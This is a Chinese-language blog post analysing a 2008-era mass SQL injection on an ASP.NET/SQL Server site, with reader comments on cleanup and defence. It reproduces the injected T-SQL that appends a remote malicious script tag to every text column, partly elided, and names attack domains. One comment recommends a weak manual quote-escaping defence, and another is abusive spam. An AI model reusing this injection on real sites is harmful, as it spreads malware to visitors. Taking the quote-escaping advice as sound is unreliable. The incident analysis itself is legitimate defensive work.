最近處理了一個棘手的SQL Injection案例,又增長了一些見聞

(如果你身為網站設計人員卻不知道什麼是SQL Injection,建議你最好立即請假佯裝出國度假或雙手打上石膏裝殘,無論如何,在搞懂什麼是SQL Injection之前,務必暫停手邊的開發工作,以免在系統埋下更多的炸彈,遺害千年!  我有幾篇文章可以參考: ASP.NET防駭指南你的網站在裸奔嗎?)

這次遇到的狀況是發現網站上一些內容顯示有誤,似乎是HTML格式不對。仔細確認,發現資料庫中的所有varchar, nvarchar欄位資料後方都被加上了</title></pre>><s cript src=" http: // 某個網站 / 某個.js "></s cript><!--

看到這種寫法,我立刻想起過去曾經解剖過的木馬。順著它寫的js連過去檢查,證實了這是個掛馬的技倆沒錯。

因此,我有了初步推測:

  1. 所有DB的文字欄位都被加上相同的東西,應該是使用SQL指令造成的
  2. 加上掛馬用的js,目的是希望透過網站當媒介,將木馬散播出去,因此對方知道這是Web主機用的DB。
  3. 綜合以上兩點,這應該是SQL Injection攻擊!!

既然是由Web進入的SQL Injection攻擊,理論上就應該可以由IIS Log中看出端倪。不過由於被攻擊的時點不確定,要搜索的範圍很大,加上我對SQL Injection手法有些過時的錯誤認知,因此一開始花了不少時間卻亳無所獲。

這裡說說所謂"過時的錯誤認"知是什麼,讓大家引以為戒:

  1. 有設定Custom Error Page就可以有效阻擋SQL Injection攻擊?
    錯! 可以擋住一般的業餘駭客手工破解,但擋不住高手或自動工具。
  2. 駭客會在TextBox中輸入不同的值來嘗試攻擊,方能不受QueryString長度的限制
    錯! GET一樣可以漂亮完成工作,一開始只鎖定POST的Log記錄顯然找錯了方向
  3. SQL Injection多半是一連串的反覆嚐試,因此可以在Log上找到明顯跡象?
    錯! 這年頭自動工具都很快、狠、準,不會留下太多足跡。
  4. 在SQL Injection的嘗試過程中,常會觸發HTTP Status 500 Error?
    錯! 有一種遊擊式攻擊法,只會發射幾個特定的URL,若僥倖成功,半個Error也不會留下。

Google了一下(關鍵字hao929.cn, sb.5252.ws, , ,發現遇到相似攻擊的人很多,甚至有人把它定義成病毒,我找到一個網站提供了頗為詳細的說明,發現它的原理是利用sysobjects, syscolumns去列出所有的文字欄位,非常合理。很幸運地,用sysobjects當成關鍵字,我在IIS Log中找到了證據。

邪惡的傢伙利用QueryString加掛了一段Code,使整段SQL變成:

select top 1 blahColC from blahTable where blahColA=123;dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b ...略... b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 ...略... UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar,['+@c+']))+cAsT(0x3C2F74697 ...略... tAbLe_cursoR;-- order by blahColB desc

其中看到它用了0x3C2F7469...這種寫法將</title>等文字隱藏起來,同時還故意用了奇怪的大小寫組合讓SQL指令不易閱讀。其中使用的手法如同在F-SECURE看到一樣,但我所謂的"幸運",是指這回遇上的,並沒將核心的SQL語法用Binary表示,否則會更難用Text工具直接從Log檔中找到線索。

除此之外,我發現同一個Client還發了另外兩個Request,檢測目前的使用者是否為db_owner或sysadmin,也許是因為有限定了連線DB的帳號權限(這點印證了我在文章中提到"權限愈小傷害愈小"理論),在測試權限失敗後,就沒有後續動作了。說不定如果用的帳號是sa,後面就開始跑DOS Command、傳檔案、裝後門,光用想的就會讓人冒冷汗。

【結論】

傳統印象中,SQL Injection要設法取得欄位名稱資訊,以偷出資料或從事破壞為樂。但是要進行這些操作,通常得仰賴網站傳回錯誤訊息的細節才能提供繼續深入的情報。近年來,很多網站預設都已開啟Custom Error Page,讓手工操作入侵的難度變高。不過,也開發現一些新的攻擊趨勢:

1. 駭客圈已流傳一些現成的SQL注入工具,裡面已針對ORACLE、SQL、MySQL、Access等各家資料庫寫好預設的多組測試Script,不需要耐性過人也不必做苦工,交給工具快速試過一輪即可輕鬆得手。再配合Google找尋獵物,亂槍打鳥之下,就算你的網站沒什麼名氣都可能中鏢。

2. 除了有心駭客設法要破解網站盜取資訊,還有一種打遊擊式的SQL Injection攻擊,把全部的攻擊指令濃縮成一行QueryString,四處亂試主機,成功就爽到,失敗了不過浪費幾百個Bytes的頻寬,是穩賺不賠的生意。而攻擊指令是假設資料庫的內容會被當成HTML顯示在網站上,所以只要找出SQL資料庫中所有的varchar, nvarchar, ntext, text欄位,在後方加上一段<script src=”用來載入木馬的js檔案”>,就可以將網站當成感染源,達到廣種木馬的目標。(這類木馬的原理可以參考先前發表過的"有趣的木馬解剖",通常只要勤做Windows Update並避免執行來路不明的程式就可避免)

【延伸閱讀】資安廠商提供的資訊,描述的手法跟我觀察到的很相像:

"... 僅使用一行網站Request 就完成入侵,將惡意連結注入到後端的資料庫裡面,同時可以更改所有資料庫中可運用的表格,因為僅短短一行注入攻擊碼在網站Log稽核檔案中很難發現。即使網站已經關閉錯誤回應訊息(一般防堵SQL Injection的作法),只要注入點未作輸入資料驗證,此攻擊仍然可以成功,導致誤認已經關閉錯誤訊息就可以高枕無憂的網站,大量遭到入侵。 ..."


Comments

# by 子凌

我也遇到了,追了兩個月的IIS Log,也找到數個如上的資訊,但還是沒辦法知道漏洞在那一支,也不知道何時是被攻擊成功的

# by Jeffrey

To chainchung, 這種攻擊的善後會覆寫似乎只剩還原DB備份一途,大陸網站想出由Application_BeginRequest著手的想法應該有不錯的防堵效果(不過用堵的還是可能被挖到漏洞)。當然,你知道我知道連獨眼龍都知道,寫Code時不要留下SQL Injection漏洞還是根本之道,但,談何容易? PS: 你女兒的摺紙故事很棒,我笑了~~ :P

# by pocoyo

原來這不是單一事件ㄟ , 我也處理了兩個這樣的網站 手法都是一樣 , 都是寫了上段的 SQL 指令 原則上都只能以復原方式來修復 不過他會寫入木馬嗎 ? 因為似乎還沒收到相關的反應

# by cooper

昨天舊系統也遇到了, 因新系統上線在即, 目前先簡單deny sysobjects, syscolumns的存取...

# by Jeffrey

To pocoyo, 這波SQL Injection攻擊變動DB內容的目的在於將掛載惡意js的HTML Code透過你的網站播放出來,之後連上被攻擊網站的使用者,若未透過Windows Update修補漏洞,就會被網站中加掛的惡意js植入木馬、後門,這才是其最終目標。換句話說,SQL Injection只是用來讓網站變成傳染源的手段而已。只是這種游擊式的一行SQL Injection,精細程度有限,有時會把一些顯示搞壞,很快就會被察覺,但反正攻擊成本很低,大模規進行之下,每一次成功都算賺到。

# by ryan

我已經離開這行多年了...不知道我的招數還有沒有用. 以前我根絕這個問題, 用的是秦始皇集權統治的方法. 與其讓工程師各行其是, 不如試試書同文、車同軌的好處. 我把所有資料庫的權限全部收回. 所有對資料庫的動作, 即便再簡單的指令也必須透過SP或是Function才能執行. 所有的string到SP/Function都有一個終極檢查, 確保安全無虞才往下執行.

# by Jeffrey

To ryan, 這方法肯定是有效的,但付出的代價是用更複雜的開發過程來確保資安,值不值得端賴主事者的態度。 我的經驗裡老板的想法是矛盾的,時程趕的時候嫌你老脫了褲子放屁,出了事又怪你怎麼平時沒做好防範措施。 最近在看Linq,MS開始以內建的機制隔絕Business Logic與Data Access Layer,將來的開發者可以一行T-SQL或PL-SQL都不懂都寫起資料庫相關系統,無形之中也就沒有SQL Injection的問題,但在不了解背後會引發的DB操作就亂寫一通,產生的效能災難也很可怕,是福是禍還很難說。http://tinyurl.com/5tfscv

# by ryan

的確. 我觀察MS設計SQL 2005與引入Linq的目的, 一方面在打糊DB administration與Programming的界線, 一方面在降低存取資料庫的複雜性. MS為什麼要這麼做呢? 我猜想是為了擴大資料庫的使用面與使用者, 就跟IE的Free, Forever是一樣的目的. 好處的確是有的, 越多人可以存取這強大的資料引擎, 不論是開發、拉報表、交叉分析. 隱憂是一但管控不良, 可能一位行銷人員就對著一個OLTP資料庫下SELECT * 的指令, 而他完全不懂SQL, 所做的只是在很friendly的介面上拖曳滑鼠而已, 且剛好在系統尖峰用量時間"而已". 方便與安全(或是穩定)經常是conflict的. 既然這樣的便利性所衍生的安全性問題, 並非是MS的bug所致, 沒講出來的話...就是這不是微軟的責任, 那是誰的責任呢? 我會說是資訊主管的責任. 他至少該做到兩件事情: 1. 讓非技術人員只能存取READ-ONLY的複製資料 2. 技術人員必須依照擁有合格SQL performance/security的能力分組, 沒有這種專長的組員只允許透過另一組開發的介面存取資料. 現在的菜鳥新人往往看了兩三本書就宣稱會coding到職上班, 而SQL Server卻一版比一版龐大複雜. 這已經逐漸形成專業分工需求的客觀形勢, 不這麼做, 我認為相關問題即使很多人大聲疾呼, 還是會惡化, SQL Injection只是其中一個問題. (Sorry, 話太多了, haha)

# by 小六

請問版大...我也遇到了跟您一樣的SQL Injection攻擊,資料庫被加了惡意字串,想請問您,我要把資料改回來,sql要怎麼寫呢?請您指導....謝謝 我有提問在討論區.....麻煩您了.....http://forums.microsoft.com/MSDN-CHT/ShowPost.aspx?PostID=3395691&SiteID=14

# by Jeffrey

To 小六,原則上依照討論區裡小朱的回答,用Replace的可以復原,不過有些欄位會因長度較短而導致後方被加的Script被截掉一部分而導致比對失敗(我遇到的是會挑長度100以上的欄位才下手,但如果你本來資料長度就已經有90,則惡意字串可能只剩前10個字元留下來)。我發現這幾波攻擊用的語法不盡相同,如果能分析攻擊你的SQL Injection語法,再對症下藥,應該是最有效的。 我有找到一個國外的"解藥"研發實例: http://hackademix.net/2008/04/26/mass-attack-faq/ 在這陣子風波中,相信大家應該都已體認到"定期備份"有多重要了。

# by 小米

你好...你的網站很豐富... 因為我的首頁是設定iGoogle... 很希望可以使用iGoogle小工具,將你的訊息加入 我的首頁~ 謝謝

# by andy

我看了你的文章, 使我們受惠良多, 網站被攻擊的問題已解, 謝謝你~~

# by JJ

我搜尋這個網站,出現這樣的訊息,看來是一樣的狀況~不知可否看的出? http://www.google.com.tw/search?hl=zh-TW&q=cathay+youth&btnG=Google+%E6%90%9C%E5%B0%8B&meta=&aq=f&oq=

# by Lowrence

這幾天我們也受到同樣的威脅,浪費了許多時間與人力檢查,想不到短短的一行QueryString,就可造成這麼大的傷害,還在目前我們終於有找到源頭了!!

# by 小亘

好不容易把之前的SQL injection損害修復,也把syscolumns和sysobject的權限拿掉,但不到幾天, 網頁又被導入: iframe src=http://s.gdgr3e.cn/01/ 我快瘋了. 有哪位高人可以幫個忙?

# by kowen

ntext 沒辦法做replace 不知道你們如何處理的?

# by kowen

查到了 要先轉換格式..

# by ПИДЕРАСТЫ!!!!

ВЫПУСТИТЕ РУСИФИКАТОР ЧМОШНИКИ ТУПЫЕ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Я ВАЩА МАМА СУНУЛ ВЫНУЛ!!!!!!

# by 小新

我目前開發的時候 都會針對SQL Injection攻擊 做一些基本的防護 SQL Injection,說穿了,你不傳參數給SQL 就沒有SQL Injection的問題 SQL Injection攻擊的目的在於破壞你的SQL查詢語法的結構 但是,大部分的資料庫網站又不能有根據參數來查詢特定的資料 所以,唯一可以攔截SQL Injection語法的地方 就在於傳入參數的位置 我後來都寫成如下 declare @param1 nvarchar(50) Select @param1 = N'%param1%' Select Top 100 * From [Table1] Where (1 = 1) And [name] = @param 這個查詢句中的『%param1%』會利用程式Replace成傳入的參數 Replace進去之前要多加一個動作 把 ' Replace成 '' 一個單引號,要置換成兩個單引號 例如: QuerySQL = QuerySQL.Replace("%param1%", str_param.Replace("'", "''")) 這樣Replace進去的參數就會自動把一個單引號變成兩個單引號 剛好SQL語法中,會把字串中的兩個單引號 解釋為一個單引號 所以不管外面怎麼SQL Injection攻擊 通通被你轉成字串格式的SQL變數 轉進去的SQL變數再查詢的時候 可以再利用CAST的方式轉換成其他資料型態 一旦轉不過去發生錯誤訊息!就會阻擋SQL Injection取得你資料的能力! 以上經驗分享! 直接攔截傳進來的參數!

# by 小新

另外在資料顯示的部份! 所有要顯示在網頁上的資料 最好都先用 Server.HtmlEncode() 過在顯示出來 因為很多隱碼攻擊,都是利用塞一些特殊的<script>來達成效果 所以在輸出的時候,你就已經先把字串Encode過了 這些字串再網頁上就不會變成HTML的一部份 而是完完整整把<script>以文字方式呈現! 這樣就更容易抓是否有被攻擊! 所以 進來的參數你如果有特別處理過了 顯示出去的資料,你也特別處理過了 隱碼攻擊就不容易在你的網站上施展! 他只好去攻擊別人的網站! 一些簡單的小技巧提供大家參考!

# by BI論壇

J大 我想請問一下如果一般 裝好MSSQL之後你的權限都如何設置 可否寫一段步驟參考謝謝

# by Jeffrey

to BI論壇, 權限設定時,主要就是把握"只提供夠用的權限,不要多給"的原則。在DB權限上,首先,不該讓Web程式使用sa或管理者權限是最重要的(實務上很少會真有這種需要);其次,若是同一個DB供多個系統存取,例如: 管理介面網站跟Internet使用者直接使用的網站,多半建議另開一個Readonly或權限只限部分Table、View、SP的帳號給Internet網站用,這樣子可以限制被攻破時的惡意者的破壞範圍。 不過,最根本也最重要的,千萬千萬不要再寫出可能被SQL Injection的Code了!!!

Post a comment